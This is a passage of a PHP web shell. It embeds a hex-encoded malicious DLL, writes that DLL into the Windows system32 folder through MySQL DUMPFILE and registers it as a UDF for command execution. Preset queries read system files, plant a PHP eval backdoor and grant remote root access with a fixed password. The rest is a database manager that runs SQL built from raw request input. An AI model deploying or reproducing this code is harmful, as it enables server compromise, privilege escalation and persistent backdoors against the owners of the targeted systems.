9C1CF92B43082CC2D6745D900B180338606D033A02F275B76F034E584F56B6B74B08F6971FA3EE02EF026FD9807C298C902724E3952D09AB2D03AE45EB1666625A955B7FB403A6699AA6BCC4CCD4DCA6691A9AE4F7971C1C189AA6699A18141410100C699AA6690C08080404A6EB0E231F05100318E05A129A283C8BB7B56C21CC96870F8313112A210CB700ACE86FE2570FAFAE83FEE08BDE770D0000EC1A0C2715773A7256B4D59382AB1D3D530256F057752B566A082A898850D71C14229893820F56741956947414EBA96A72A31644577C54EC8157B40E5BEB56D5612ED4230603EE265D565698182B52F7616904FC8AAEFF41BE0D50BCC5273ADC3701435C147C29985047568D7C07FB2D162BF90CAD240600473B5B290E2B1E7CA55E90C3B6CA11C56056821834BFA3A546088B87803B08742246C2ED46D988E80713720FF9240A606106817D0D4C02DB6E8350F531845E39C3D9AC60B6DDBC17721507CA532C1EB22D19080C16334BA55C1DE660080C7BD27502BD40DF1283CFDEDBE158EC22C90314BD737500A20F08B1443C998A74F6466221F816F87544837E5F23E886DE04FD0C958D460CFE1EC413ABFF4620ED8D5E0C70F61B090D803874180C84884388239F4500C3A585BF2D50DDE52B116A245999F7F9D1F03DD4A80336C66D2983FA3BF137EF2083C5044381FD5FA40F8C5E3984F86E23EB4EBE3E56B93E126F843E8D0C9DA9901E9C5F8684F83BC27318C01103D6EBE48D0815EAC1E30543C70B2256C9A012346C430BFCFE07563B0D535773F7C1903683D0C93CC18F07833C50B0DA28E4361AF51B053E1E751EE28B104974084958DEDE680284F4EB0804F5EB03F6A337DE4600E836891C308A5BEB161EE4C2DA027F7B5882864329F459376A830037C674320E1F5AC9F31CD6CA7E50505031C85A7B830CB2247ED4CAE264CF731FCCA3AD8D8800AB740F00E16AD8580841533AFDECA4963B343D1C063CC0C1E7154A81B1BCF749D418C5604B9E381780360CB2AD2C98248184E169CA5190C61D5642D4920179728BC3C36C8BB1E14E4152530411590F250306F029535DEC60B404CBF0F6D915B7B10211B0FF0336E4106AC0A359B43809F2A22CDEB43F4AA87BF6F30549C0FF4AB890073C9013082CBAAED003FC0C203F087900724AA84AA8A6E9BAD83F069F038C848BA6699A7C746C645C3F5D3B8F004AA8F003C00164D134CCE03F39859CE44C404BF04B4845D375DD2C900B580378A03C0239903F4C404C405D171B855B7FF403FC344DD3750E04030C141C24871160D1373F1F164DD37505500358687C3FAB2F4A003E1CCCA0022F907956F6C112883F1594D9815DE874095900FE37ABC645FF10EB0B8065FF8DECFC0FC0861A806811F6C540750839B72F455328E48B4DFF806A83C15E02056083236DC3DE2374001680E1A4C3F96C01175510100840EB07F60D4A30797FF810742604ADB7F2F220741830740A5074897505216A16A21521020C2ABD7CDF060389F0BA00077D0423CABF54B47F037D3BC87F31742A3BCB43C3ED4AB06D195433744D0739BA91AD85CC43F84C0804BAA67B7B435AF8EB3E26052F070643CE806F1E3BCA7423C2163CDD1188188F4F5B3B0507E69EE00113FDBEFEFF32FC5DF4C77413368E54F7D1234D143737B8DB1172A840C581CE1F0FF601F6ED63DBB7C4DE020BF7A8DF081408EB0AA8115D2CBDB1060B1068ADD8233BD39241E0DF751AE918016D0D8231816ABFB78D0A9E2DA82BCEF008022D6030EA3BAC39BF4213628561325256E8B383459875090A18EBD8D583F9B19A4DFF40EB09AF08146C410F78473159812781D6C68A11C380C901C630045A8452C9C2DD05BEFF0B48884CBD7578EA7473F606818116F502746D8B945DA2220B1E8B067519FC35008FBE813883E94B1D2A1759D888B60DBCEB584213E2137C677E2511335669A116807D131A11825F178CF015554445E2811980C73E5A74B52DD81C2EAF737808AB60072DDC07808B8C4E8BF390E005C916713F8005431467736A081E8233918B09570441464E600F3B32B24C245B231A0EF2F2B64D79D50D04FEEB08FDEB03F4C11A824C0C5F198A1141AA1EEC1BF16488174762EEEB05838C00F0D32401119C2CCBC983C1E134271208006DCC6AC738682DD9D2D96608C6C3000C085DC049B38807CA185A1965872312F52A65520945A9F88959AC913859A6E80AB82C06F651FAD756F29B6A0A8FD2268988391874744617CAE630428A78A9E850538B58DA71F0D73BC6CC214D628386A240C893715963FF25DAE2BF94603975E8F3ABAA895D0F6C16E8D386EBD77DEEB8BC4DEFDD405B2B04D30CAFCBB641FFE87BA312CA300F87942588CD546C9CD28DEEE356F7E58D614F6F52F3AB04AA8D9E94FA52A15498BCB6DE2C8A5101E84B51844B5CFA3BC777B7EFEE2D68FC8A922080089047401376F5F84BB1F04141803965D47983C308837DFC6913B93638C1E2C8914CBA6DA087F750A3A4105384898C2AB8BFDF709140A5A559A3D1A5EB5240D1B3A660810547A8C6A19EC57EF508403DFF07F153382B89357BDF06F15335250700BA49F88816ADAB00981EA84C97DFE75E2E8604AFE9508301D08C4311946FA857DA70EF65402DDFFE01A8946CBBE78FA8FF1570F814FD9635D1CBF4FC750F87DC19F6AE1CC7492DA463E7E804741704D7A628F00D740C802CB804F93CCF763605120B0811578460862571BEC01F88E1625F044CE5CF52B1404522283456A166B453962215127FE081E016CFBE8C888405ECDF7FA1150D8AC672F48A45F2C6850D20166E104D3B375A55F3B80A2D415FA0183BC1771D48BC3A08768F2A41B820008BD9CBAB6B81FA47AA42428A42FF84C15FF8EC352C900EFA8B358D7A029A33D0213989B2EF8C7DDD5A9123FD1D561E9291DD6C5634235842FCAD803DB8682E2768002E7DB75CCA8D8D726695F6C2CDEF67341503108A940564889060EFCEC9DBEB1C1A027410205BEBE380A06E6834781CDE4400BFEB491ADB0D1315DA417219045AB2BC8DFDC34BC880C1208888491F1D617213C3DE9CBC7A770E20E920EBE04C77F915774ABE5EC97394886AFDA90210F970505C59FC94882F1FD575798FAC426866281854FAF7403D6709FC161C57FFD664BEDB29FA297450100CC7D7BE5DA0F85714B00C06B45B99A0BB88CD16FFD0D602DEE66BED10B405531104EE1590601D4D0AC00982FA8659A057040481282056B064F0BB470B0C85965E91F983FA982DE9ED6A47C025152BD16075FA9AEF10D06D020610CA1A251C8E1D1429168F58A6EB3A06234AE2EB8807351E94CC5289365A271ACF0D56AF1235140FCBFFE1C3A0B7AC99AD78F2971B180A0360B615DCC1A8F1223E1975EF13A0876A064F4AACEC508B9E1D9C345CE66D442C51681C4C147D452E6AB6AD50293F89B1C1E0939D084B1A6606AB9F44BC3805750BBB0D416F064D6B50AF256BBC5C487D469512980708D0E250853014526D2FD050BCDE1BF6034EBC05A908D81A4A8615B06F126945FCDE30A22DC25B53C366A035AADB9C65F874E144346021CE0C29800750A09543B566401343E0E0043812F107C406F98A4804657FAB99A5DF89084B1D8A40053C0A84BED01D154D1088E4078D53010F8B459718C682050ABC160C166D515452B810448B664DDB39AD976865D1068F1496935166EB006D912446E98B17684D8B3D4BE1F40155F64235D144E68AE5A87CC50EE0D0F876EB3B0A81A274BBBE0C04E724FB027FAD0D03808136C85B00140C0075FFD06C0B23578A101A33AE3CD45FBB2D0D0BB443FF135A12493944BBDD2DA2182140803848068308CDCD76BF5F5EC6030D4344EB73CA2BD36E3260E7FF6A01CF0A090E683BAA479F74411ED101A2358848D12D821A85FF9D468B0F4388443105EB293B700420DEB6250CFF6305160AEB18A55E40D812FFA9193507AD9C7B77BF925B761A750D85115C74F3064942D12EE5E4AC062B4688210250A8EAA9D800F91131357540346A46C42BF87D5BF41F8AE875465757EB533038154C20629236B1F2DBCA6A711D23EB222014A660B0341B48E1FE033130EB651DBA397D147E108AB25936C514105A66B67DF436E1A11D591D161C0286D98CD9181FD84872DA478DC159D22AD3A62018366B5B0CBE3C20732EDB6CB74EC1245E0140503720CA3F408C4C793BDF0F849CD25B6CA014041B9C0324FCF25DAADB2EDE8BC441DC8367EB138DB5D751678BF026118BB5D9F6AD3867DC7466534CDC6121CB9EEB9257F44DEC1AA574A3A6884412D80A7432B06D4B6C5E0D40403E1C78B2C8663713EDD57F1EDA321C0962C321858F2065C814876515F4A1F20BD966B6B336DC895DE08B15483212BDB27DB953D6BDDF74B45664E467749C8F6AB35BA3B30E03EB068C28EDD5618F54D5CC0AB11B88108B71B77179088B2680AD9F44568D4A9E0D7FBA0DBA5580F1491AF30C5E5CC60736942B498BC24E58ED61328118B4ECAC375E2D043E3E8A515E564234632356A53C0497CFC819DF1D1B56495340CEC2C73B028658A3432D24F276607CDD1C490554CC335033E433B263345BC8945D18908DD9968D532C34201BC53619181FE0DB630AD06A15B5CB3EBB15B0107CD3DC57CC0FE16050B3EB0B83DB33ECB6119CF6112949E0565FF670C9DA1C5552F8D7B2703A84933C8AF5CC38680C42EF047AC25F9A51D4E7023A01752E0A1BB1D552F0263A613E0A431D966EE146873A4101191411035BA330D56BFDD51A75555B430BB3FFB090D3D18E016DADCA0B4301070242B5CFD6ED44E94130E01302A86658AD799AAF335BD2CAC9C14A6D42AA5BC98CCC4F56530B4A55B050009C1B201AFFAE023307420FAB0424EBF3775DFE5ABB8C90416E14460FA373F201E6E20204C420753F98FD646C3A0AF38D46FF3B9CB8ACF87B5643BE51EEB60E56485481DF4C03C12580FC8D161DDEBD0A80E17FEB0D811FDED0540440391180C980DE880A81440B8D6686C5C671D0419080E3D60AC0C006A0A8487D065C9C249E5862050D10565D7426E8BC00BF83C410E0AE41C305E3CC0CB568E12EF1C6012D415CEB030A915B4013D4B88110B5DAA5DAD2630883FB0950769225FF2F7D6B2004308819413577DA802100498A178A018878007F8B118F49473BF972F21B365341486FFF948BD6A81E588D39C470CD4143A1D03B5CCF252EB6C1FF46758A274738C474F22C419D1AE324EC85D2E1C5FE4186E00E824A6F1474D21AC0E6FFD1575F3AEB78F0FFBF34019130007F0419C0D96EE2EB15130DC9817888C2C77895FFB541599EEE9067271FD82E760B3E6A602266C4040907B742A68D38CFDA39CB15580B0318AC05224EEBFB55D0C2052241280EABE097CF0B6C112836D1E970DA0C1B1FFF804EB741B35AB6201726828ADDFFDBEE0774217F1D467BFC720638DC770202E638F809D8B517BA35C6F7750DEBD733C908023657B34D9BB9AFE582806D6AE4BF0FF35FA6ED85B50A321926EF2BB446AB2F99EE57EBB68DDE5AC3EC74230BAB1F775165EB3AC0F0596B0979D584B5634DCA0975720271FC08A5C9DE0E5FFECB030051283074512BBC2311EC1A2D75770C920F1DA2C685B7A6EB52DF2F7D8B5BB10EC11AB6D10A5601805E6EBDF54B318065FE0088508845FDF3EB09BAAB41D90DFD0F6C8D4D0AD58B1803165179AD7DD182C16E4F026B53B38059E3450A23B07465BB72251CAE5A80450F8CD5815DB9AAF5490F8FA18A46D52D1FE9DEE83C057C83760A4D405E7D2539DBD187F8787E0BD95FAD6A0AA1A1F4DEE0FE8A045823C667D9EB658B1512DA65E94CB4B6C84A740FA7DF5BD4D630AF88065D0958B60917C5522B5B13566B032CF036BE03B49F572F1A6AE0648FCC20F6AEDA06AD75A5D646D0BE05FD032C37126253CB0BC18C00885DC029C25A0BC839FAAB60287C25F7E1C29DEB025EA105B11D42030985056C351FD31EAACA3EC1CC03580000D37466AAFF0F4D53EE65DD9304DF03E50F08EC03BDE4F2B2F20F0AFF0B050CCF0AB656D003D50302017FB6DF3A1903070602100445000535300050B5EEFF7F2C20283850580708003730305750070F200BD71461DE000860686009780073AE956E08071507001A010E7D7BDDFF0028006E0075006C0129320F6E756C6C6FB7FFDF0A72756E74696D65206572726F72200F0D0A03544C4F07E4BFD95353110E0053494E470044BBFD65ED4F4D4112115236303238082D204BB76F7F7961626C746F20696E6956616C697A0D6865D67EBED961703727376E6F743D0460EFB6FF756768207370616323667B6C6F7769380AB9EC3661066F6E3736ED672079737464357075722BF6DB5AFB76697274752133A5632320630C9B42BED86C285F345F2ABDF6DA7665785C2F5806DCE2E6BEB0935F3139F76F706558313260DBEE736F0F646573632B3888706B6D4624816564193024DF405723376D926FDBADA6AC7468BF612F6C6F636B1B6C8530173464B7865B6B6E612E02A221726D0050D8DAB770406772616D204A6D366829EC852F30394F10E71A8D66412A2B302E2B84EF53C8386172677528735F6DBBF63C303266C16E6E67826F9CB52EB605743A1164E67F4DC3DB422B2D60396615566973AAEFF660FC432B2B2052A04C6962B47279276D0F87B90A2D16450E211150D8656B9CD43AC2002E003CE5ED6D736DE0252C6B6C776E3E1B17EED8F84765744C61324102766550AE75705BDBCE62130F57956426876534BEF0FF7373616765426F78410075732533322E642ADD931252EAB75956035A77CF76670B5A955A0E0B5B8E0392483AAFB9BBB56D904A0064002C204D20086DC9BDB97900632F642F06D74D03FDB5179A4144EE656D626B5B4E6F76C3FE6D930B4F986F0A536570741486A96885416C96711BBEEDF9B941076E6541F369A64D101636172763684665327533BDF7DE7B4A616E0A675F57537BAF7BEF4B47433779433F3B6EA9D0DE3323B03C6418B0ED587B4F5E095468127313D9C15A6157BC7C0C547509B9D9B1C64D251053750743F7DE7BEF3B372F27231F039E73CEB90A11181F262D9C73CEC5AF828990979E72CE39E7A5ACB3BAC1C8A78008047C28BB92975043BD384F296360A9523F4D797371909620A953A636306EC263B50B355A6A09A663B7B921E76A3752C077035C321703ABCF91FB2E746D700FB40600B6472A481D3A2C7EB53D25E4E6FFDB730A2F636D642E657865202F63200068656C55192B75313774073967FF76B6E4380B3006687474703A2F2F8F2DF5FF2ED9632D9B09CAE4C8EBB8F1CABDB4EDCEF3FFC3FE6F120D00CFC2D4D8CAA7B0DC0BCEC4BCFEB3C9B9A6F6DCE6FE21C2B7BEB6A3BA7E175C3F44867B81D10F00200593195731D913199DE4667271F0108DE8832119B2178E180F30434E5146C2F80392017BD894A007010153107C81A4B902011F0264410152476357D9D9070A2F0207743CF2E4C96C084009140A73F01093274F9EC411941270133C79E4C944180C1972E41AAC1B93274F9E741C4C783C796EF2E4C92C7A1CFC18FF86B29317D854DD038572200107402699282048001940269210841002199009810119900119108202601C16023B20EF200D0C050133164DD30C3603070418050D344DD3340609070C0832D82083090A1B0BC1BEF702573B070F575F906EB0101311031217210C32D820350F414336D86083503352175307D860830D575F597B6C17D2344D376DAB20701C72D860DF0BC72F80B3810760830C36821F83848F208334CD91299EA1830D32D8A46FA7B79FCE760EC2601FD70B18070069BEB35D0517C00B1D0490664006968D08644006648E8F9006644006919293CC066140039F78EF4D54EC25FF0204222B6027CF0EF68279822117A6DF07A1A581E9CDF3EF9FE0FC2F407E80FCA8C1A3DAA34F0D72F60881FE0740B577830C812F41B65FCFA2E43E5F21FFA21A00E5A2E8A25B7EA1FE5105BF92DFEE03DA5EDA5F5FDA6ADA32D3D8DEE0B26627B7F939317E430303860064AA432EE99E9C84538B9876840380A6699AA67C7874706C9AA6699A645C54483C34699AA6692824201C18A6699AA614100C08044DD334970075FCF8F0E4DCA6E99E35D42F75CC03C4BC9AA6699AB0A89C908C8849BEA669806C64CD2E821D65BB8C8F905C037F009EF040E82F500B807007F0F11325DCA0D1535499508BDD50C944548CF38CDC97B058592CA7BF06699A0E1EEF3B5A9775A769BAA7B5D4F3E0301AB86CD3034E6D01333AB759699AA6697796B4D3F20CDA74DD272F034D6C01F108A48008368024444144210980D109600064C15B054D734325746554B6CBB7572C0D44656C65466905410A105FDB0C470A0953C5D87393CD2719522C0A23EC4F56C145185661726961622212C0EC7F436C6F736548616E6425F62AD80E4B4A500B63417B7B56686753791D656D4447B7C1B656F5227914744E747515B893FD70496E666F413569704FB1DBD62EA845782A08535D65702CFB36CCFD56657273696F163B896E6754792D67DF856C570F1F4C434D6170115706882E610D1B4D7073ED5BC34279126F65646543688366E5ABA03DFB644F66F34C6FFD8E6B68FF300B746C556E773C3D48D767EDAC7C70416C6C0A46B1FB432D7B9BE16F6D6D09336E7DACB38556982673FB0B790CC580D866E50B56ADB521419C42494D1E263CC3D609630A532740B029DBDACA16AD147215421BC0B64C5B762B78108C8580250B77C5EB8407C4600C542FB998A170B6DA75D3F812DCDD3302524964386C7353F3B3378BDD5575650C4F09DE4BD2258C531D2D471A086D618643427552C93B2463366412A0D50CC363141E4D6F64BDA34E616D6A3B2160BC5F9EE473183004470A0CF3CA6624A3FD08E42CCFF04258164361853B1CFE66BF08506F6990C906C25EF99DFD6B65644465633815C2844D72496E53EB460F3AC1F1EF73684B427566663E6A50ECB136761C0A410B074F454D092C19FE10934164647297EF7D2841BCD93C7155524C440A5BA4668277E3CE1C88F6F6FE340457534153864D00FF0402CBB22CCB17390334090C8D32B62C0B022649F7FF7FAE6D0C10025C000A052F0A5205546417350BDFFEFFFF811912192A060B2A385319310B320D1B806512ED2405670B30100F1CFFFFFFFF1B1B96130B530B1C455405400645171106180A118145110B4C310526530F7D1CFBA5FFFF078B1214050B121B271A1241691A09F04BF83A06F0520103BFFDFF7F0802070F080B06060A18050A1A0E080643125C1B4F59085A0DA37DF66FFF0F16F03001BAF00AF6211775F0C8020400CE2D07E6EDEDBF5F10070708270C0A08300A0608050C050CBFB5FFBB16030813082D1B10060F06070921AE08F04F020E6BBFB5ED061A050F107EA20605060D1D15349BFBF69B2244A6F0ED0120130616070F1810FBFFDBDB091A571362A9850E0B14060E09111C0F12091C230A03FFFFFFBF0C137F0A1CF0F20007194212310C0B0F0AF00302F04D012C0C1C191A0811F6ED5BFB050D05F00549BF05380C0757070A19088EDBADFDDB05663A081A0611190C7113081E0917F6FF0B6F17621806422214320715320A2115242A0E311CF6DF6EFF21250F0F321043CB140E47065B074845E3193539DBDF6EFF0C103F50133E1282260D8E13270F42141E6D157CFBFF6FAA0E13770D251C1374A04D18154A481712E3084B2512842F6C2F47550118EF051D29261A072842EEDE1D4A0604660B1B07161D2A32FFB7B77F7228060C3B0829710D0C234F6039150D3D22084C0F19615BFBFF262E0F20222D143A0726181A0B83A67C56DBFFFF138AF0FB00790C150B2EF0D9011C0D0D13090C32C221B76678E106210A1D081715A919E80B0AFBDF0A0B6E432C0019066F061E1113151EF95068857F10210C120E0F11759647BFF00BCDB85C7EF056011E550F0AC60A89050BFFBFB51F4C35080E1E1D182058163368254605030717FEAD6DFC103D105612F03E01EC48B24F30BD71E1B75B045E2F0F5838EA3C7D3810040CFB76F38301F0B4030408F0AC0A0DF014010417C8915D7E2010108408020800046453203FF0240608041009F92F71E90C9C645045A54C010400B2976A46AA4EF90FE0000E210B0106264B004F26A9244110BDEC3CFB09100F04000700D0B237E982272A0202079B6D7ED81E8D000071C886620285B9650AC0648A002B8CAA4BA744B0100C76F92E7465787446619070E2AD2A6574CD602E7212669D2BC1AB0D5303FB5E73D902402E26CF2427B62919A49090C04F6519EC6B0F7D584FC027A06F6EBF29421B5C881051C489C700000000000000800400FF00807C2408010F85C201000060BE00A000108DBE0070FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9960100008A07472CE83C0177F7803F0A75F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE00C000008B0709C074458B5F048D843000E0000001F35083C708FF9650E00000958A074708C074DC89F979070FB707475047B95748F2AE55FF9654E0000009C07407890383C304EBD86131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAE58E000008DBE00F0FFFFBB0010000050546A045357FFD58D87FF01000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9C73CFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000070F0000050F000000000000000000000000000007DF0000060F0000000000000000000000000000088F0000068F00000000000000000000000000000000000000000000092F00000A0F00000B0F0000000000000C0F000000000000073000080000000004B45524E454C33322E444C4C0075726C6D6F6E2E646C6C005753325F33322E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F74656374000055524C446F776E6C6F6164546F46696C65410000000000000000B1976A46000000001EF1000001000000030000000300000000F100000CF1000018F100009010000090150000801000002BF1000031F100003EF100000000010002006D7973716C446C6C2E646C6C0073746174650073746174655F6465696E69740073746174655F696E69740000000000E000000C0000001D360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; 
								$query="INSERT into udf_temp values (CONVERT($code,CHAR));"; 
								if(!mysql_query($query, $link)) 
								{ 
									mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error()); 
									die('dll'.mysql_error()); 
								} 
								else 
								{ 
									$dllname = "mysqlDll.dll"; 
									if(file_exists("c:\\windows\\system32\\")) $dir="c:\\\\windows\\\\system32\\\\mysqlDll.dll"; 
									elseif(file_exists("c:\\winnt\\system32\\")) $dir="c:\\\\winnt\\\\system32\\\\mysqlDll.dll"; 
									if(file_exists($dir)) { 
										$time = time(); 
										$dir = str_replace("mysqlDll","mysqlDll_$time",$dir); 
										$dllname = str_replace("mysqlDll","mysqlDll_$time",$dllname); 
									} 
									$query = "SELECT udf FROM udf_temp INTO DUMPFILE '".$dir."';" ; 
									if(!mysql_query($query, $link)) 
									{ 
										die(":$dir".mysql_error()); 
									} 
									else 
									{ 
										echo '<font style=font:11pt color=ff0000>'.$dir.'</font><br>'; 
									} 
								} 
								mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error()); 
								$result = mysql_query("Create Function state returns string soname '$dllname'", $link) or die(mysql_error()); 
								if($result) { 
									echo "<br><a href='?'></a>"; 
									exit(); 
								} 
							} 
					} 
					$ss=stripslashes($post_sql); 
					print<<<END 
<form method="post" action="?s=n&o=tq"> 
<textarea name="post_sql" style="width:700px;height:200px;">{$ss}</textarea><br> 
<input name="install" type="submit" value="DLL"> <input name="" type="submit" value="CMD"><br></form> 
END; 
					if ($_POST[post_sql]) { 
						$link = mysql_connect ($mhost,$muser,$mpass) or die(mysql_error()); 
						if($mdata) mysql_select_db($mdata,$link) or die(mysql_error()); 
						$query = stripslashes($post_sql); 
						$result = mysql_query($query, $link)  or die(mysql_error()); 
						echo "<br><textarea name=\"post_sql\" style=\"width:700px;height:200px;\">"; 
						echo ($result) ? "Done:$result\n\n" : "error:$result\n\n ".mysql_error(); 
						while ($row =  @mysql_fetch_array ($result)) { 
							print_r ($row); 
						} 
					} 
					echo "</textarea>"; 
				} 
				else 
				{ 
					if(!empty($_POST['msql'])) 
					{ 
						$msql = $_POST['msql']; 
						if($result = @mysql_query($msql,$conn)) 
						{ 
							$MSG_BOX = 'SQL<br>'; 
							$k = 0; 
							while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} 
						} 
						else $MSG_BOX .= mysql_error(); 
					} 
					print<<<END 
<script language="javascript"> 
function nFull(i){ 
	Str = new Array(11); 
	Str[0] = "select version();"; 
	Str[1] = "select load_file(0x633A5C5C626F6F742E696E69) FROM user into outfile 'D://a.txt'"; 
	Str[2] = "select '<?php eval(\$_POST[cmd]);?>' into outfile 'F://a.php';"; 
	Str[3] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;"; 
	nform.msql.value = Str[i]; 
	return true; 
} 
</script> 
<textarea name="msql" style="width:700px;height:200px;">{$msql}</textarea></div> 
<div class="actall"> 
<select onchange="return nFull(options[selectedIndex].value)"> 
	<option value="0" selected></option> 
	<option value="1"></option> 
	<option value="2"></option> 
	<option value="3"></option> 
</select> 
<input type="submit" value="" style="width:80px;"> 
END; 
				} 
				if($MSG_BOX != '') echo '</div><div class="actall">'.$MSG_BOX.'</div></center></form>'; 
				else echo '</div></center></form>'; 
				return true; 
		} 
		//MYSQL 
		function Mysql_Len($data,$len) 
		{ 
			if(strlen($data) < $len) return $data; 
			return substr_replace($data,'...',$len); 
		} 
		function Mysql_Msg() 
		{ 
			$conn = @mysql_connect($_COOKIE['m_silichost'].':'.$_COOKIE['m_silicport'],$_COOKIE['m_silicuser'],$_COOKIE['m_silicpass']); 
			if($conn) 
			{ 
				print<<<END 
<script language="javascript"> 
function Delok(msg,gourl) 
{ 
	smsg = "[" + unescape(msg) + "]?"; 
	if(confirm(smsg)){window.location = gourl;} 
} 
function Createok(ac) 
{ 
	if(ac == 'a') document.getElementById('nsql').value = 'CREATE TABLE name (spider BLOB);'; 
	if(ac == 'b') document.getElementById('nsql').value = 'CREATE DATABASE name;'; 
	if(ac == 'c') document.getElementById('nsql').value = 'DROP DATABASE name;'; 
	return false; 
} 
</script> 
END; 
				$BOOL = false; 
				$MSG_BOX = ':'.$_COOKIE['m_silicuser'].' &nbsp;&nbsp;&nbsp;&nbsp; :'.$_COOKIE['m_silichost'].':'.$_COOKIE['m_silicport'].' &nbsp;&nbsp;&nbsp;&nbsp; :'; 
				$k = 0; 
				$result = @mysql_query('select version();',$conn); 
				while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} 
				echo '<div class="actall"> :'; 
				$result = mysql_query("SHOW DATABASES",$conn); 
				while($db = mysql_fetch_array($result)){echo '&nbsp;&nbsp;[<a href="?s=r&db='.$db['Database'].'">'.$db['Database'].'</a>]';} 
				echo '</div>'; 
				if(isset($_GET['db'])) 
				{ 
					mysql_select_db($_GET['db'],$conn); 
					if(!empty($_POST['nsql'])){$BOOL = true; $MSG_BOX = mysql_query($_POST['nsql'],$conn) ? '' : ' '.mysql_error();} 
					if(is_array($_POST['insql'])) 
					{ 
						$query = 'INSERT INTO '.$_GET['table'].' ('; 
						foreach($_POST['insql'] as $var => $key) 
						{ 
							$querya .= $var.','; 
							$queryb .= '\''.addslashes($key).'\','; 
						} 
						$query = $query.substr($querya, 0, -1).') VALUES ('.substr($queryb, 0, -1).');'; 
						$MSG_BOX = mysql_query($query,$conn) ? '' : ' '.mysql_error(); 
					} 
					if(is_array($_POST['upsql'])) 
					{ 
						$query = 'UPDATE '.$_GET['table'].' SET '; 
						foreach($_POST['upsql'] as $var => $key) 
						{ 
							$queryb .= $var.'=\''.addslashes($key).'\','; 
						} 
						$query = $query.substr($queryb, 0, -1).' '.base64_decode($_POST['wherevar']).';'; 
						$MSG_BOX = mysql_query($query,$conn) ? '' : ' '.mysql_error(); 
					} 
					if(isset($_GET['del'])) 
					{ 
						$result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['del'].', 1;',$conn); 
						$good = mysql_fetch_assoc($result); 
						$query = 'DELETE FROM '.$_GET['table'].' WHERE '; 
						foreach($good as $var => $key){$queryc .= $var.'=\''.addslashes($key).'\' AND ';} 
						$where = $query.substr($queryc, 0, -4).';'; 
						$MSG_BOX = mysql_query($where,$conn) ? '' : ' '.mysql_error(); 
					} 
					$action = '?s=r&db='.$_GET['db']; 
					if(isset($_GET['drop'])){$query = 'Drop TABLE IF EXISTS '.$_GET['drop'].';';$MSG_BOX = mysql_query($query,$conn) ? '' : ' '.mysql_error();} 
					if(isset($_GET['table'])){$action .= '&table='.$_GET['table'];if(isset($_GET['edit'])) $action .= '&edit='.$_GET['edit'];} 
					if(isset($_GET['insert'])) $action .= '&insert='.$_GET['insert']; 
					echo '<div class="actall"><form method="POST" action="'.$action.'">'; 
					echo '<textarea name="nsql" id="nsql" style="width:500px;height:50px;">'.$_POST['nsql'].'</textarea> '; 
					echo '<input type="submit" name="querysql" value="" style="width:60px;height:49px;"> '; 
					echo '<input type="button" value="" style="width:60px;height:49px;" onclick="Createok(\'a\')"> '; 
					echo '<input type="button" value="" style="width:60px;height:49px;" onclick="Createok(\'b\')"> '; 
					echo '<input type="button" value="" style="width:60px;height:49px;" onclick="Createok(\'c\')"></form></div>'; 
					echo '<div class="msgbox" style="height:40px;">'.$MSG_BOX.'</div><div class="actall"><a href="?s=r&db='.$_GET['db'].'">'.$_GET['db'].'</a> ---> '; 
					if(isset($_GET['table'])) 
					{ 
						echo '<a href="?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'">'.$_GET['table'].'</a> '; 
						echo '[<a href="?s=r&db='.$_GET['db'].'&insert='.$_GET['table'].'"></a>]</div>'; 
						if(isset($_GET['edit'])) 
						{ 
							if(isset($_GET['p'])) $atable = $_GET['table'].'&p='.$_GET['p']; else $atable = $_GET['table']; 
							echo '<form method="POST" action="?s=r&db='.$_GET['db'].'&table='.$atable.'">'; 
							$result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['edit'].', 1;',$conn); 
							$good = mysql_fetch_assoc($result); 
							$u = 0; 
							foreach($good as $var => $key) 
							{ 
								$queryc .= $var.'=\''.$key.'\' AND '; 
								$type = @mysql_field_type($result, $u); 
								$len = @mysql_field_len($result, $u); 
								echo '<div class="actall">'.$var.' <font color="#FF0000">'.$type.'('.$len.')</font><br><textarea name="upsql['.$var.']" style="width:600px;height:60px;">'.htmlspecialchars($key).'</textarea></div>'; 
								$u++; 
							} 
							$where = 'WHERE '.substr($queryc, 0, -4); 
							echo '<input type="hidden" id="wherevar" name="wherevar" value="'.base64_encode($where).'">'; 
							echo '<div class="actall"><input type="submit" value="Update" style="width:80px;"></div></form>'; 
						} 
						else 
						{ 
							$query = 'SHOW COLUMNS FROM '.$_GET['table']; 
							$result = mysql_query($query,$conn); 
							$fields = array(); 
							$row_num = mysql_num_rows(mysql_query('SELECT * FROM '.$_GET['table'],$conn)); 
							if(!isset($_GET['p'])){$p = 0;$_GET['p'] = 1;} else $p = ((int)$_GET['p']-1)*20; 
							echo '<table border="0"><tr>'; 
							echo '<td class="toptd" style="width:70px;" nowrap></td>'; 
							while($row = @mysql_fetch_assoc($result)) 
							{ 
								array_push($fields,$row['Field']); 
								echo '<td class="toptd" nowrap>'.$row['Field'].'</td>'; 
							} 
							echo '</tr>'; 
